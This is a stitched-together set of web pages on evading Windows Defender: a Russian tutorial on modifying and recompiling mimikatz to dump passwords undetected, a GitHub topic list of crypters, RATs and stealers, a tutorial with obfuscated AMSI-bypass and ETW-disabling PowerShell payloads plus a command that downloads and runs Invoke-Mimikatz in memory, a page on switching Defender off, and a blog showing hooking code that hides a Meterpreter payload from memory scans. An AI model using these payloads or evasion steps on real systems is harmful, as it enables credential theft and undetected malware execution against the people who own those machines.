Время на прочтение4 мин
Количество просмотров31K
Всем привет. Сегодня рассмотрим вариант запуска mimikatz на Windows 10. Mimikatz — инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлечь аутентификационные данные залогинившегося в системе пользователя в открытом виде.
В ходе пентеста полезно иметь штуку, которая сдампит пароли юзеров, но сейчас даже встроенный в винду стандартный Windows Defender становится проблемой и может помешать нашим грандиозным планам.
Замечу, что этот способ подходит и для других антивирусных продуктов (Virustotal ДО и ПОСЛЕ тоже так считает), которые проводят статичный анализ бинарников по сигнатурам.
Так что хоть и данный способ вряд ли поможет вам против EDR решений, но легко поможет обойти Windows Defender.
Раньше его можно было обойти изменением слов в файле с mimikatz на mimidogz, удалением пары строк в метаданных и баннеров. Сейчас же это стало сложнее, но все же возможно.
За идею всего этого действа выражаю благодарность человеку с ником ippsec.
В данной статье мы будем использовать:
- Windows 10 с включенным Windows Defender (с обновленными базами)
- Mimikatz
- Visual Studio
- HxD (hex редактор)
Копируя mimikatz на компьютер жертвы, мы ожидаемо видим такой алерт.
Далее мы проведем серию манипуляций, чтобы Defender перестал видеть тут угрозу.
Первым делом, найдем и заменим слова mimikatz. Заменим mimikatz например на thunt (заменить можно на что угодно), а MIMIKATZ на THUNT. Выглядит это примерно вот так.
Следом отредактируем в Visual Studio файл mimikatz\mimikatz\mimikatz.rc (который после нашей замены теперь thunt.rc), заменяя mimikatz и gentilkiwi на что угодно, также не забудем заменить mimikatz.ico на любую другую иконку. Жмем «пересобрать решение» (или rebuild solution) и получаем нашу обновленную версию mimikatz. Скопируем на компьютер жертвы, иии…алерт. Давайте узнаем, на что срабатывает Defender. Самый простой способ это копировать бинарник с разным размером до первого срабатывания антивируса.
Для начала скопируем половину и скопируем на машину с Windows 10.
head –c 600000 mimikatz.exe > hunt.exe
Defender молчит, уже неплохо. Экспериментируя, найдем первое срабатывание. У меня это выглядело так:
head -c 900000 mimikatz.exe > hunt.exe – не сработал
head -c 950000 mimikatz.exe > hunt.exe – сработал
head -c 920000 mimikatz.exe > hunt.exe – не сработал
head -c 930000 mimikatz.exe > hunt.exe – не сработал
head -c 940000 mimikatz.exe > hunt.exe – сработал
head -c 935000 mimikatz.exe > hunt.exe – не сработал
head -c 937000 mimikatz.exe > hunt.exe – сработал
head -c 936000 mimikatz.exe > hunt.exe – не сработал
head -c 936500 mimikatz.exe > hunt.exe – сработал
head -c 936400 mimikatz.exe > hunt.exe – сработал
head -c 936300 mimikatz.exe > hunt.exe – сработал
head -c 936200 mimikatz.exe > hunt.exe – не сработал
Откроем hunt.exe в hex редакторе и смотрим, на что может сработать Defender. Глаз уцепился за строку KiwiAndRegistryTools.
Поиграемся со случайным капсом — стало KiWIAnDReGiSTrYToOlS, сохраним и скопируем. Тишина, а это значит, что мы угадали. Теперь найдем все вхождения этих строк в коде, заменим и пересоберем наш проект. Для проверки выполним head -c 936300 mimikatz.exe > hunt.exe. В прошлый раз Defender сработал, сейчас нет. Движемся дальше.
Таким не хитрым способом, добавляя все больше строк в наш hunt.exe, были обнаружены слова-триггеры — wdigest.dll, isBase64InterceptOutput, isBase64InterceptInput, multirdp, logonPasswords, credman. Меняя их случайным капсом, я добивался того, что Defender перестал на них ругаться.
Но не может же быть все так легко, подумал Defender и сработал на функции, которые импортируются и чувствительны к регистру. Это функции, которые вызываются из библиотеки netapi32.dll.
- I_NetServerAuthenticate2
- I_NetServerReqChallenge
- I_NetServerTrustPasswordsGet
Если мы взглянем на netapi32.dll (C:\windows\system32\netapi32.dll), то мы увидим, что каждой функции присвоен номер.
Изменим вызов функции с вида
windows.netapi32.I_NetServerTrustPasswordsGet(args)
на
windows.netapi32[62](args)
Для этого нам надо заменить mimikatz\lib\x64\netapi32.min.lib. Создадим файл netapi32.def и запишем туда следующие строки:
LIBRARY netapi32.dll
EXPORTS
I_NetServerAuthenticate2 @ 59
I_NetServerReqChallenge @ 65
I_NetServerTrustPasswordsGet @ 62
Сохраняем и выполним команду (не забудьте на всякий случай сделать бэкап оригинала netapi32.min.lib)
lib /DEF:netapi32.def /OUT:netapi32.min.lib
В очередной раз пересоберем проект и скопируем то, что у нас получилось. Defender молчит. Запустим получившейся mimikatz с правами администратора.
Успех. Таким образом mimikatz запущен и Windows Defender не сработал, чего мы и добивались. Пароли, явки и хеши выданы.
Подводные камни
Ожидание:
* Username : thunt
* Domain : DESKTOP-JJRBJJA
* Password : Xp3#2!^&qrizc
Реальность:
* Username : thunt
* Domain : DESKTOP-JJRBJJA
* Password : (null)
Ситуация в жизни несколько отличается от лабораторных условий. Возможно, для просмотра пароля вам придется поработать с реестром. Например, включить или создать ключ UseLogonCredential (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest). Но и с этим могут возникнуть проблемы, т.к. при перезагрузке ключи могут выставляться обратно.
Может быть и ещё хуже, если в случае запуска на одной из последних версии Windows 10, вместо пароля в plain-text вы увидите вот такое:
* Password : _TBAL_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}
Все дело в механизме TBAL, который является наследником Automatic Restart Sign-On (ARSO). Теперь, когда запрашивается TBAL, lsasrv проверяет является ли аккаунт локальным или MS аккаунтом, и исходя из этого, использует msv1_0 или cloudAP, чтобы сохранить все необходимое для возобновления сессии пользователя. После чего механизму autologon выставляется захардкоженный пароль _TBAL_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}.
Тем не менее в лабораторных условиях мы получили пароль пользователя, а в боевой обстановке как минимум можем получить хеши.
Here are
26 public repositories
matching this topic…
ShellCodeLoader via DInvoke
-
Updated
Jul 5, 2021 -
C#
Load shellcode via syscall
-
Updated
Jul 28, 2021 -
C#
Bypassing ETW with Csharp
-
Updated
Oct 28, 2021 -
C#
Project build for joel and joshua students from Germany | course: Advanced Tactics in information security
-
Updated
Jan 21, 2025 -
Python
Heavily obfuscated PowerShell reverse shell that can bypass Windows Defender
-
Updated
Jan 3, 2025 -
PowerShell
Bypass AMSI
-
Updated
Aug 8, 2021 -
C#
This tool generates an undetectable Windows reverse shell PowerShell script. Users can configure IP and Port according to their requirements. The generated script is obfuscated to avoid detection by antivirus software.
-
Updated
Jul 16, 2024 -
Python
A Simple ShellcodeLoader
-
Updated
Jun 4, 2021 -
C#
🌐A new VBS binder generator for running your non-crypted builds without being detected by Windows Defender. You can read about how exactly it works in the ReadMe file
-
Updated
May 9, 2025
Luxury team is highly technical and with strong backgrounds in security. Networking. Systems administration and software development. Advanced code protection. Obfuscation and optimization for your net and native file.
-
Updated
Jan 21, 2023
BlazterCrypter is a tool designed to create a Remote Administration Tool (RAT) server with 100% Fully Undetectable
-
Updated
Apr 22, 2024
BX Private
-
Updated
Dec 15, 2023
A script that uses privilege escalation to bypass Microsoft Defender with the XenoRAT when used with an ATTINY85 USB
-
Updated
Feb 22, 2024
Best DDoS Attack Script Python3, (Cyber / DDos) Attack With 56 Methods
-
Updated
Sep 29, 2023 -
Dockerfile
Kraken Crypter v5 (Native/Turbo)
-
Updated
Mar 15, 2024
👺RAT-DISCORD (c2) (indetectable)
-
Updated
Feb 3, 2025
BAHNSCHRIFT_CRYPTER
-
Updated
Apr 29, 2024
a C#/Golang stealer with ultra low detection and beautiful ui based on skuld stealer
-
Updated
Jan 10, 2025
-
Updated
May 8, 2025
接渗透 提权 免杀过 edr 卡巴 小红伞 火绒360核晶 telegram@xiga857
-
Updated
Apr 29, 2025
Improve this page
Add a description, image, and links to the
bypass-windows-defender
topic page so that developers can more easily learn about it.
Curate this topic
Add this topic to your repo
To associate your repository with the
bypass-windows-defender
topic, visit your repo’s landing page and select «manage topics.»
Learn more
Introduction
Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware Scan Interface and disable Event Tracing for Windows to evade detection. Additionally, I will demonstrate how to combine both methods for maximum effectiveness and provide guidance on using this approach.
Throughout the article, I will use AmsiTrigger and Invoke-obfuscation. These tools will help to identify the malicious scripts and help obfuscate them.
Bypassing AV Signatures PowerShell
Windows Defender Antimalware Scan Interface (AMSI) is a security feature that is built into Windows 10 and Windows Server 2016 and later versions. AMSI is designed to provide enhanced malware protection by allowing antivirus and other security solutions to scan script-based attacks and other suspicious code before they execute on a system.
By disabling or AMSI, attackers can download malicious scripts in memory on the systems.
Original Payload for AMSI bypass
1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Methodology — Manual
- Scan using AMSITrigger
- Modify the detected code snippet
- Base64
- Hex
- Concat
- Reverse String
- Rescan using AMSITrigger or Download a test ps1 script in memory
- Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “Blank”
Understanding the command
This command is used to modify the behavior of the Anti-Malware Scan Interface (AMSI) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.AmsiUtils class called “amsiInitFailed” to true, which indicates that the initialization of AMSI has failed.
Here is a breakdown of the command and what each part does:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
: This first part of the command uses the[Ref]
type accelerator to get a reference to theSystem.Management.Automation
assembly and then uses theGetType()
method to get a reference to theSystem.Management.Automation.AmsiUtils
class.System.Management.Automation.AmsiUtils
is a part of the PowerShell scripting language and is used to interact with the Anti-Malware Scan Interface (AMSI) on Windows operating systems. AMSI is a security feature that allows software to integrate with antivirus and other security products to scan and detect malicious content in scripts and other files.- While
System.Management.Automation.AmsiUtils
itself is not inherently malicious, it can be flagged as such if it is being used in a context that appears suspicious to antivirus or other security software. For example, malware authors may use PowerShell scripts that leverage AMSI to bypass traditional antivirus detection and execute malicious code on a system. - Thus,
System.Management.Automation.AmsiUtils
may be flagged as malicious if it is being used in a context that appears to be part of a malware attack or if it is being used in a way that violates security policies on a system.
-
.GetField('amsiInitFailed','NonPublic,Static')
: This part of the command uses theGetField()
method to get a reference to the private, static field within the System.Management.Automation.AmsiUtils class called"amsiInitFailed"
. The'NonPublic,Static'
argument specifies that the method should retrieve a non-public and static field. .SetValue($null,$true)
: Finally, this part of the command uses theSetValue()
method to set the value of the"amsiInitFailed"
field to true. The$null
argument specifies that we are not setting the value on an instance of the object, and the$true
argument is the new value we are setting the field to.
The reason for setting "amsiInitFailed"
to true is to bypass AMSI detection, which may be used by antivirus or other security software to detect and block potentially malicious PowerShell commands or scripts. By indicating that the initialization of AMSI has failed, this command prevents AMSI from running and potentially interfering with the execution of PowerShell commands or scripts. It is worth noting, however, that bypassing AMSI can also make it easier for malicious actors to execute code on a system undetected, so caution should be exercised when using this command in practice.
Running the command
Lets open Powershell and execute the original payload to patch AMSI and check the result.
1 |
PS:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
- As we can see, Windows has identified the command as malicious and blocked it from being executed.
- Now we need to identify what part of the payload is getting detected by Defender and triggering it to be marked as malicious.
AMSI Trigger
- With the help of AMSITrigger.exe, we can identify the malicious string in the payload.
1 |
PS C:\AMSITrigger> .\AmsiTrigger_x64.exe |
- We can save our payload in a
.ps1
file, and with the-i
flag, we can supply the maliciousps1
file
1 |
PS C:\AMSITrigger> .\AmsiTrigger_x64.exe -i test.ps1 |
From the output results we can see that it flagged two strings as malicious
- “A m s i U t i l s”
- “a m s i I n i t F a i l e d”
Patching AMSI
After analyzing the strings that caused Windows Defender to block our script, we can now take steps to bypass this security mechanism. Several techniques can be used to evade detection, with one of the simplest and most effective being to encode or encrypt the payload.
We can do it in the following ways
- Base64 Encoding
- Hex Encoding
- Reversing The String
- Concatenation
Now lets try to modify our original payload using just Base64 encoding.
Base64 Encoding
Base64 Encoding is a widely used encoding technique that converts binary data into a string of ASCII characters. This method is easy to implement and can be decoded with simple tools.
- A simple Base64 encoding and decoding snippet in PowerShell looks like this :
1 2 3 4 |
# Encoding Payload PS:\> $Text = 'Hello World';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText # Decoding Paylaod PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SABlAGwAbABvACAAVwBvAHIAbABkAA=='))) |
- Now we can do the same for AmsiUtils and amsiInitFailed
1 |
PS:\> $Text = 'AmsiUtils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText |
- Windows Defender could still detect AmsiUtils encoded in base64. We can divide this into two pieces and concat them together to avoid getting detected.
1 2 3 4 5 6 |
# Encoding Payload PS:\> $Text = 'Amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText PS:\> $Text = 'Utils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText # Decoding Paylaod PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA=='))) |
- We can see this way we have encoded AmsiUtils without triggering Defender
- Lets try the same for amsiInitFailed by splitting it into 3 parts
- amsi
- Init
- Failed
1 2 3 4 5 6 7 |
# Encoding Payload PS:\> $Text = 'amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText PS:\> $Text = 'Init';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText PS:\> $Text = 'Failed';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText # Decoding Paylaod PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA')))) |
- As we can see, we have encoded amsiInitFailed also without triggering Defender.
Final Payload
Now that we crafted the final payload to Patch AMSI, let us look back at the original AMSI bypass code.
1 |
PS:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) |
- All we need to do now is replace AmsiUtils and amsiInitFailed with the base64 encoded payload and concat the rest of the string.
1 |
PS:\> [Ref].Assembly.GetType($('System.Management.Automation.')+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA==')))).GetField($([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA')))),$('NonPublic,Static')).SetValue($null,$true) |
- For confirmation, we can download and execute
Mimikatz.ps1
in the memory and check if its triggering Defender.
1 |
PS:\> IEX(iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -UseBasicParsing) |
As you can see, we successfully encoded the AMSI bypass payload in base64. Below I will give a demonstration on how to encode it in hex and use techniques like reverse string and concatenation
Concatenation
An easy was of bypassing “A m s i U t i l s” is by simply splitting it into two words and adding them together.
1 2 |
PS:\> 'AmsiUtils' PS:\> 'Amsi' + 'Utils' |
Hex Encoding
A simple Hex encoding and decoding snippet in PowerShell looks like this :
1 2 3 4 5 6 |
# Encoding Payload PS:\> "Hello World" | Format-Hex # Decoding Payload PS:\> $r = '48 65 6C 6C 6F 20 57 6F 72 6C 64'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_} PS C:\> $s |
Reverse String
The last technique is by reversing the string for obfuscating the payload.
1 2 3 4 5 |
# Encoding Payload PS:\> (([regex]::Matches("testing payload",'.','RightToLeft') | foreach {$_.value}) -join '') # Decoding Payload PS:\> (([regex]::Matches("daolyap gnitset",'.','RightToLeft') | foreach {$_.value}) -join '') |
Final Payload — 2
We can also combine these techniques to create a more powerful and effective payload that can evade detection by Windows Defender. Using a combination of Base64 Encoding, Hex Encoding, Reversing The String, and Concatenation, we can create a highly obfuscated payload to bypass Windows Defender.
1 |
PS:\> $w = 'System.Manag';$r = '65 6d 65 6e 74 2e 41 75 74 6f 6d 61 74 69 6f 6e 2e'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_};$c = 'Amsi'+'Utils';$assembly = [Ref].Assembly.GetType(('{0}{1}{2}' -f $w,$s,$c));$n = $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAA==')));$b = 'siIn';$k = (([regex]::Matches("deliaFti",'.','RightToLeft') | foreach {$_.value}) -join '');$field = $assembly.GetField(('{0}{1}{2}' -f $n,$b,$k),'NonPublic,Static');$field.SetValue($null,$true) |
Patching Event Tracing for Windows
Event Tracing for Windows (ETW) is a powerful logging and tracing mechanism in the Windows operating system that allows developers, administrators, and analysts to monitor and diagnose system events in real time. It collects and analyses diagnostic and performance data from applications and services running on Windows. ETW records events generated by the operating system and applications, including information on processes, threads, disk I/O, network activity, and more.
By disabling or manipulating ETW, attackers can prevent security tools from logging their actions or tracking their movement within a system.
Original Payload to patch ETW
1 [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Understanding the command
This command is used to modify the behavior of the Event Tracing for Windows(ETW) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.Tracing.PSEtwLogProvider class called "m_enabled"
to true, 0
indicates that the initialization of ETW is disabled.
Here is a breakdown of the command and what each part does:
[Reflection.Assembly]::LoadWithPartialName('System.Core')
loads theSystem.Core
assembly into memory..GetType('System.Diagnostics.Eventing.EventProvider')
retrieves theEventProvider
type from the loaded assembly..GetField('m_enabled','NonPublic,Instance')
retrieves them_enabled
field of the EventProvider type, which determines whether event tracing is enabled for that provider..SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
sets them_enabled
field of the PowerShell ETW provider to0
(disabled). This prevents PowerShell from logging events to the Windows Event Log or other ETW consumers.
Patching ETW
We have already learned how to patch PowerShell scripts manually. I will explain how to obfuscate Powershell using Invoke-Obfuscation for this example. I already have this setup on my Commando-VM.
- First thing is that we can launch Invoke-Obfuscation
- We can set our payload and use AES encryption to encrypt our payload.
1 2 3 4 |
Invoke-Obfuscation> SET SCRIPT BLOCK [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0) Invoke-Obfuscation> ENCODING Invoke-Obfuscation> ENCODING\5 |
- The encrypted payload will be visible at the end of the screen.
- Now we can execute the payload. Before doing that, we need to understand why we have encrypted the payload and what the payload does. First, lets directly execute the payload.
- As we can see that Defender has detected our encrypted payload, this is because it’s encryption which will be decrypted and get executed. Hence will help in bypassing Static analysis only. We can better understand if we execute the command without executing it.
- To circumvent this security measure, we can bypass AMSI and then execute the desired command.
- It’s worth noting that while we can bypass AMSI and execute the raw payload to disable ETW, doing so may result in detecting and logging the attack in the PowerShell history file. As a result, it is recommended to use additional techniques such as encoding or obfuscation to evade detection and prevent attack logging.
- AmsiTrigger
- Invoke-obfuscation
If you find my articles interesting, you can buy me a coffee
-
Home
-
News
- How to Bypass Windows Defender Windows 10/11?
By Aurelie | Follow |
Last Updated
Windows Defender can protect your computer and the files on the device from attacks or infection of malware and viruses. However, sometimes, you need to bypass Windows Defender due to some reason. In this post on MiniTool Website, we will introduce 3 ways on how to bypass Windows Defender in detail.
Why Do You Need to Bypass Windows Defender?
Windows Defender is a Windows inbuilt antivirus software that protects your device and the data on it. At times, Windows Defender is so overprotective that it might block some normal activities. For example, you must bypass Windows Defender before running third-party antivirus software to avoid any potential conflicts. Also, when you find Windows Defender is blocking the installation of some downloaded apps, you can consider bypassing it.
In this guide, we will show you how to bypass Windows Defender to install apps, run another antivirus software and so on.
Once you bypass Windows Defender, your device might be vulnerable. Therefore, it is necessary to back up your important data beforehand. To create a backup of your data, MiniTool ShadowMaker is the optimal choice for you. This free Windows backup software is designed to provide easy and efficient backup and recovery solution on files, folders, partitions, systems and disks. Here, let me show you have to create a file backup with this tool:
Step 1. Open MiniTool ShadowMaker and hit Keep Trial.
MiniTool ShadowMaker TrialClick to Download100%Clean & Safe
Step 2. In the Backup page, go to SOURCE > Folders and Files to decide what to backup. As for choosing a destination path, go to DESTINATION.
Step 3. Click on Back Up Now to start the backup task at once.
How to Bypass Windows Defender on Windows 10/11?
Way 1: Bypass Windows Defender via Windows Settings.
Step 1. Press Win + I to launch Windows Settings.
Step 2. Go to Update & Security > Windows Security > Virus & threat protection.
Step 3. Scroll down to hit Manage settings.
Step 4. Toggle off Real-time Protection and Tamper Protection.
Way 2: Bypass Windows Defender via Local Group Policy Editor
Tips:
Since Local Group Policy Editor isn’t available on Windows Home Edition, you can skip this method if you are a Windows Home user.
Step 1. Press Win + R to evoke the Run dialog.
Step 2. Type gpedit.msc and click on OK to open Local Group Policy Editor.
Step 3. Go to the path below:
Computer Configuration > Administrative Templates > Windows Components > Windows Defender or Windows Defender Antivirus
Step 4. On the right-side pane, double-click on Turn off Windows Defender Antivirus.
Step 5. Tick Enabled and hit Apply & OK to save the changes.
Way 3: Bypass Windows Defender via Registry Editor
Tips:
Before making any changes to Registry Editor, you must create a backup of the registry database in case something goes wrong during the process.
Step 1. Press Win + R to open the Run box.
Step 2. Type regedit.exe and hit Enter to open Registry Editor.
Step 3. Navigate to:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender
Step 4. In the right pane, right-click on DisableAntiSpyware to choose Modify and change its Value data to 1.
Tips:
If DisableAntiSpyware doesn’t exit, follow these steps to create it manually: Right-click on Windows Defender > choose New > hit DWORD (32-bit) Value.
Step 5. Save the changes and quit Registry Editor.
Final Words
In this post, you can learn how to bypass Windows Security in 3 ways. Which method do you prefer? Or do you have better ways on that? Feel free to share your ideas in the comment section.
About The Author
Position: Columnist
Aurelie is a passionate soul who always enjoys researching & writing articles and solutions to help others. Her posts mainly cover topics related to games, data backup & recovery, file sync and so on. Apart from writing, her primary interests include reading novels and poems, travelling and listening to country music.
Introduction
Windows Defender is enabled by default in all modern versions of Windows making it an important mitigation for defenders and a potential target for attackers. While Defender has significantly improved in recent years it still relies on age-old AV techniques that are often trivial to bypass. In this post we’ll analyse some of those techniques and examine potential ways they can be bypassed.
Antivirus 101
Before diving into Windows Defender we wanted to quickly introduce the main analysis methods used by most modern AV engines:
Static Analysis – Involves scanning the contents of a file on disk and will primarily rely on a set of known bad signatures. While this is effective against known malware, static signatures are often easy to bypass meaning new malware is missed. A newer variation of this technique is machine learning based file classification which essentially compares static features against known good and bad profiles to detect anomalous files.
Process Memory/Runtime Analysis – Similar to the static analysis except running process memory is analysed instead of files on disk. This can be more challenging for attackers as it can be harder to obfuscate code in memory as its executing and off the shelf payloads are easily detected.
It’s also worth mentioning how scans can be triggered:
File Read/Write – Whenever a new file is created or modified this can potentially trigger the AV and cause it to initiate a scan of the file.
Periodic – AV will periodically scan systems, daily or weekly scans are common and this can involve all or just a subset of the files on the system. This concept also applies to scanning the memory of running processes.
Suspicious Behaviour – AV will often monitor for suspicious behaviour (usually API calls) and use this to trigger a scan, again this could be of local files or process memory.
In the next few sections we’ll discuss potential bypass techniques in more detail.
Bypassing Static Analysis With a Custom Crypter
One of the most well-documented and easiest ways to bypass static analysis is to encrypt your payload and decrypt it upon execution. This works by creating a unique payload every time rendering static file signatures ineffective. There are multiple open source projects which demonstrate this (Veil, Hyperion, PE-Crypter etc.) however we also wanted to test memory injection techniques so wrote a custom crypter to incorporate them in the same payload.
The crypter would take a “stub“ to decrypt, load and execute our payload and the malicious payload itself. Passing these through our crypter would combine them together into our final payload which we can execute on our target.
The proof of concept we created included support for a number of different injection techniques that are useful to test against AVs including local/remote shellcode injection, process hollowing and reflective loading. Parameters for these techniques were passed in the stub options.
All of the above techniques were able to bypass Windows Defender’s static file scan when using a standard Metasploit Meterpreter payload. However, despite execution succeeding we found that Windows Defender would still kill the Meterpreter session when commands such as shell/execute were used. But why?
Analysing Runtime Analysis
As mentioned earlier in this post memory scanning can be periodic or “triggered” by specific activity. Given that our Meterpreter session was only killed when shell/execute was used it seemed likely this activity was triggering a scan.
To try and understand this behaviour we examined the Metasploit source code and found that Meterpreter used the CreateProcess API to launch new processes.
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
result = GetLastError();
break;
}
Inspecting the arguments of CreateProcess and the code around it, nothing suspicious could be found. Debugging and stepping through the code also didn’t reveal any userland hooks, but once the syscall is executed on the 5th line, Windows Defender would find and kill the Meterpreter session.
This suggested that Windows Defender was logging activity from the Kernel and would trigger a scan of process memory when specific APIs were called. To validate this hypothesis we wrote some custom code to call potentially suspicious API functions and then measure whether Windows Defender was triggered and would kill the Meterpreter session.
VOID detectMe() {
std::vector<BOOL(*)()>* funcs = new std::vector<BOOL(*)()>();
funcs->push_back(virtualAllocEx);
funcs->push_back(loadLibrary);
funcs->push_back(createRemoteThread);
funcs->push_back(openProcess);
funcs->push_back(writeProcessMemory);
funcs->push_back(openProcessToken);
funcs->push_back(openProcess2);
funcs->push_back(createRemoteThreadSuspended);
funcs->push_back(createEvent);
funcs->push_back(duplicateHandle);
funcs->push_back(createProcess);
for (int i = 0; i < funcs->size(); i++) {
printf("[!] Executing func at index %d ", i);
if (!funcs->at(i)()) {
printf(" Failed, %d", GetLastError());
}
Sleep(7000);
printf(" Passed OK!\n");
}
}
Interestingly most test functions did not trigger a scan event, only CreateProcess and CreateRemoteThread resulted in a scan being triggered. This perhaps made sense as many of the APIs tested are frequently used, if a scan was triggered every time one of them was called Windows Defender would be constantly scanning and may impact system performance.
Bypassing Windows Defender’s Runtime Analysis
After confirming Windows Defender memory scanning was being triggered by specific APIs, the next question was how can we bypass it? One simple approach would be to avoid the APIs that trigger Windows Defender’s runtime scanner but that would mean manually rewriting Metasploit payloads which is far too much effort. Another option would be to obfuscate the code in memory, either by adding/modifying instructions or dynamically encrypting/decrypting our payload in memory when a scan a detected. But is there another way?
Well one thing that works in an attacker’s favour is that the virtual memory space of processes is huge being 2 GB in 32 bits and 128 TB in 64 bits. As such AVs won’t typically scan the whole virtual memory space of a process and instead look for specific page allocations or permissions, for example MEM_PRIVATE or RWX page permissions. Reading through the Microsoft documentation though you’ll see one permission in particular that is quite interesting for us, PAGE_NOACCESS. This “Disables all access to the committed region of pages. An attempt to read from, write to, or execute the committed region results in an access violation.” which is exactly the kind of behaviour we are looking for. And quick tests confirmed that Windows Defender would not scan pages with this permission, awesome we have a potential bypass!
To weaponize this we’d just need to dynamically set PAGE_NOACCESS memory permissions whenever a suspicious API was called (as that would trigger a scan) then revert it back once the scan is done. The only tricky bit here is we’d need to add hooks for any suspicious calls to make sure we can set permissions before the scan is triggered.
Bringing this all together, we’d need to:
- Install hooks to detect when a Windows Defender trigger function (CreateProcess) is called
- When CreateProcess is called the hook is triggered and Meterpreter thread is suspended
- Set payload memory permissions to PAGE_NOACCESS
- Wait for scan to finish
- Set permission back to RWX
- Resume the thread and continue execution
We’ll walk through the code for this in the next section.
Digging into the hooking code
We started by creating a function installHook which would take the address of CreateProcess as well as the address of our hook as input then update one with the other.
CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"KERNELBASE.dll"), "CreateProcessInternalW");
CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "CreateProcessInternalW");
hookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5);
Inside the installHook function you’ll see we save the current state of the memory then replace the memory at the CreateProcess address with a JMP instruction to our hook so when CreateProcess is called our code will be called instead. A restoreHook function was also created to do the reverse.
LPHOOK_RESULT installHook(LPVOID hookFunAddr, LPVOID jmpAddr, SIZE_T len) {
if (len < 5) {
return NULL;
}
DWORD currProt;
LPBYTE originalData = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, len);
CopyMemory(originalData, hookFunAddr, len);
LPHOOK_RESULT hookResult = (LPHOOK_RESULT)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, sizeof(HOOK_RESULT));
hookResult->hookFunAddr = hookFunAddr;
hookResult->jmpAddr = jmpAddr;
hookResult->len = len;
hookResult->free = FALSE;
hookResult->originalData = originalData;
VirtualProtect(hookFunAddr, len, PAGE_EXECUTE_READWRITE, &currProt);
memset(hookFunAddr, 0x90, len);
SIZE_T relativeAddress = ((SIZE_T)jmpAddr - (SIZE_T)hookFunAddr) - 5;
*(LPBYTE)hookFunAddr = 0xE9;
*(PSIZE_T)((SIZE_T)hookFunAddr + 1) = relativeAddress;
DWORD temp;
VirtualProtect(hookFunAddr, len, currProt, &temp);
printf("Hook installed at address: %02uX\n", (SIZE_T)hookFunAddr);
return hookResult;
}
